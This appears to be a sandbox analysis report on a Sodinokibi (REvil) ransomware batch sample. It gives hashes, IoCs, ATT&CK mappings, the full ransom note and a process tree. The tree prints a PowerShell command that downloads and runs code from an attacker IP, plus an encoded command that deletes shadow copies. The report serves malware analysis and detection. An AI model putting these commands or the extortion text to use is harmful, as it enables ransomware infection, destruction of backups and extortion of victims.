sodinokibi | d3acbb0ddca79d785f4a3c766cceeb94bc468b19bfa0ba495af8182fbd9c55a4

General

Target

d414776d8291887b69e7e08716350a94.bat
Size

216B
MD5

44b1551634044bfd5c2101792984ab6a
SHA1

c1c890dd032188b9c1488e5cf4ff4f22d88b74e5
SHA256

d3acbb0ddca79d785f4a3c766cceeb94bc468b19bfa0ba495af8182fbd9c55a4
SHA512

faae8800cab7d6fa3470130c293609b65607156bcb9403ac83e9cd20a4dfeea2c689287b066320dd344415d189fe9d01f2a2913f1d51c008da36b18a62bbd677

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/d414776d8291887b69e7e08716350a94

Extracted

Path

C:\3uxah42q-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 3uxah42q. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B5B9A722923F5083 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/B5B9A722923F5083 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: VYG70WUZy3kEjpHqU7QmrEsZvjO/SRI5NDyPznTcEXekF6anHdaLyTCrVV8u6JzD MyMlPlR8M45R0Pik7XTMk193T+VbVs9pRvFf+cMw30CbQLGMOUxMWq3QkNUSxw9p Ho4SAts+zkg25HJMQJ/mj4U5X2oQb+oyG7K4C9hRVvLR/DW2yGtfBPkgD5w3KeVD xG8+kyxN5iWa2iIorsjWZfkaHim2y0E0bMMz5DuKwDFy+TglDj00gKWAdex3ZSyH vpJLxWAM/rwZngy98I0Oyz1n0UxmmxwqxzynLElOPMqxnvlBlqceuAAEBJRC3u/L aoJAKgcBeX768957DWlJ71PgEsbd7e591RNiDOTRdT+157xNSZM8ODz952N1dnd2 vQtIGI8SyLvZMuFqHVB4N9VbAjQ8ulicfJjBUcLeaaODlbw2rVPwZVBVWjrkRXgd Z1JrpY1j+ihevU4CAR66AsMS7l0mv3MoMG/54HonSjVjaSTOaUGMmHj5AvB7r/R5 dJPfYDNjDgizDNpiutJGuxcq5bO5uTE0b91jqOEkS7A1rjFGIcmydL2xIIkMXL5+ 9limun1yuPlcOrZJU5DB0hlFVxcoBznVB6cn7qEAZ5/2JZGZQh1zlqnvB+8Vyzqa ZDTpjx5kK+j3uvmel5Dme5xtnlCr9i1ucIO2viMIGhUlmgXLIXFfQStP79VlFUJi 6K1ot3ifnoINMie3+2FZtccgmpcpOMf9b14xe5Zzo7u0gv1INYgNGbXoWmYGgahS JAdtvA4GGYkxJhdLw1X+nKQIrtW30FSXS1TJ0Bcz85faquj5pAIcdmU3LhKt5CvM VIDk4emJCRsKMAM9BGzmMbu/TUDSNy3Vw3DrW+5kKVFgc5Timw/qVXq62WHij1Hr 9p1OAkj8N1ijVOivZXzxZqn5EOuKLZs6jacMzKqobTQ5LB7PSxI6AhOlmeRfXVWW HljmGUU7AtoZdFbGOMoWJn2FQkYE+u+u+kKlaGUR8xUl7SuD7GyoCRVeDstajAQ2 Emf/m46vK6wm49rq0AwFHYivBu8alXNG1zmi9nGTD6Y9KnY4jkgmLwi44Oy4inK+ ZbzwAwqIy/8BRPqmzbVP83n4qNvWVcTMzuCAzG1OeylHeLjmKI1YAug+0v/i+NES 0/M03ID8bvoyxvO33F8tb3imAUkRlK9+2n/PVuKj4KzkU2EEJ0vUHTL3Gnr44Fjt uK5NdxkRoh39Eeew3S3218jCcrhrag5xVV+Bx7WCq8nsPG+30BX/HFeMPMCKKXIg vzFew25oFpd2w++6HKK2TFKc4hIp5I3g3/B1CIGDFi1J2+Ju ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B5B9A722923F5083

http://decryptor.cc/B5B9A722923F5083

Signatures

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	884	powershell.exe
Token: SeDebugPrivilege	884	powershell.exe
Token: SeDebugPrivilege	524	powershell.exe
Token: SeBackupPrivilege	1676	vssvc.exe
Token: SeRestorePrivilege	1676	vssvc.exe
Token: SeAuditPrivilege	1676	vssvc.exe
Token: SeTakeOwnershipPrivilege	884	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\73ml194.bmp"	powershell.exe

Drops file in Program Files directory 42 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\DismountResolve.aiff	powershell.exe
File opened for modification	\??\c:\program files\MeasureFind.txt	powershell.exe
File opened for modification	\??\c:\program files\SelectRegister.mp4v	powershell.exe
File opened for modification	\??\c:\program files\UnblockConvertTo.m4v	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\3uxah42q-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\InstallSelect.aiff	powershell.exe
File opened for modification	\??\c:\program files\NewSync.rar	powershell.exe
File opened for modification	\??\c:\program files\UnlockWatch.3gp	powershell.exe
File opened for modification	\??\c:\program files\CheckpointLock.tif	powershell.exe
File opened for modification	\??\c:\program files\CloseConvertTo.M2V	powershell.exe
File opened for modification	\??\c:\program files\CloseOptimize.ex_	powershell.exe
File opened for modification	\??\c:\program files\CompareConfirm.png	powershell.exe
File opened for modification	\??\c:\program files\SelectMeasure.3g2	powershell.exe
File opened for modification	\??\c:\program files\UnprotectOpen.vbe	powershell.exe
File opened for modification	\??\c:\program files\ExitBlock.mpp	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\3uxah42q-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ProtectAssert.rtf	powershell.exe
File opened for modification	\??\c:\program files\SwitchReceive.jpg	powershell.exe
File opened for modification	\??\c:\program files\UnprotectClose.TS	powershell.exe
File opened for modification	\??\c:\program files\AddWatch.pot	powershell.exe
File opened for modification	\??\c:\program files\ConvertUnprotect.jpeg	powershell.exe
File opened for modification	\??\c:\program files\HideCompare.potm	powershell.exe
File opened for modification	\??\c:\program files\ResolveSend.xht	powershell.exe
File opened for modification	\??\c:\program files\RegisterProtect.xlsb	powershell.exe
File opened for modification	\??\c:\program files\SyncRestore.tif	powershell.exe
File opened for modification	\??\c:\program files\ExitStep.css	powershell.exe
File opened for modification	\??\c:\program files\ExpandResume.mpg	powershell.exe
File opened for modification	\??\c:\program files\GrantSkip.dwg	powershell.exe
File opened for modification	\??\c:\program files\ImportGrant.mpg	powershell.exe
File opened for modification	\??\c:\program files\ProtectImport.bmp	powershell.exe
File opened for modification	\??\c:\program files\ResumeUse.png	powershell.exe
File opened for modification	\??\c:\program files\UnpublishSplit.vsd	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\3uxah42q-readme.txt	powershell.exe
File created	\??\c:\program files\3uxah42q-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ClearExit.vdx	powershell.exe
File opened for modification	\??\c:\program files\CloseSubmit.mhtml	powershell.exe
File opened for modification	\??\c:\program files\ExitSuspend.7z	powershell.exe
File opened for modification	\??\c:\program files\ResumeBlock.crw	powershell.exe
File created	\??\c:\program files (x86)\3uxah42q-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CompressPush.html	powershell.exe
File opened for modification	\??\c:\program files\ImportSkip.xml	powershell.exe
File opened for modification	\??\c:\program files\RegisterConvert.wav	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

884 powershell.exe

pid	process
884	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1440 wrote to memory of 884	1440	cmd.exe	powershell.exe
PID 884 wrote to memory of 524	884	powershell.exe	powershell.exe
PID 884 wrote to memory of 524	884	powershell.exe	powershell.exe
PID 884 wrote to memory of 524	884	powershell.exe	powershell.exe
PID 884 wrote to memory of 524	884	powershell.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

884 powershell.exe
884 powershell.exe
884 powershell.exe
524 powershell.exe
524 powershell.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 884 powershell.exe

pid	process
884	powershell.exe
884	powershell.exe
884	powershell.exe
524	powershell.exe
524	powershell.exe

flow	pid	process
2	884	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\d414776d8291887b69e7e08716350a94.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1440

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/d414776d8291887b69e7e08716350a94');Invoke-IDZVZHFEB;Start-Sleep -s 10000"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:884

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:524

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:1676

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads